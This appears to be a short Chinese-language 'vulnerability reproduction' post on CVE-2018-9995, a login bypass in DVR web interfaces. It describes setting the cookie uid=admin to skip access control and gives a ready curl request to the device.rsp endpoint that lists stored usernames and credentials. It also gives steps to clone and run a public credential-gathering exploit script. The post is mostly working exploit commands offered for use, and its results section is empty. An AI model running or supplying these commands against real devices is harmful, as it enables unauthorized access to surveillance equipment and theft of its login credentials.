【漏洞复现】 CVE-2018-9995 DVR登录绕过漏洞

漏洞描述

类别：访问控制失效。访问DVR系列产品的WEB端时，设置以下cookie：uid=admin可绕过访问控制，获取设备内的用户名及登录凭证。

漏洞利用

curl "http://ip:port/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

EXP

git clone https://github.com/exexute/Exp.git
cd Exp/cve-2018-9995/
pip3 install -r requirements.txt
python3 gather_cve2018_9995.py

效果展现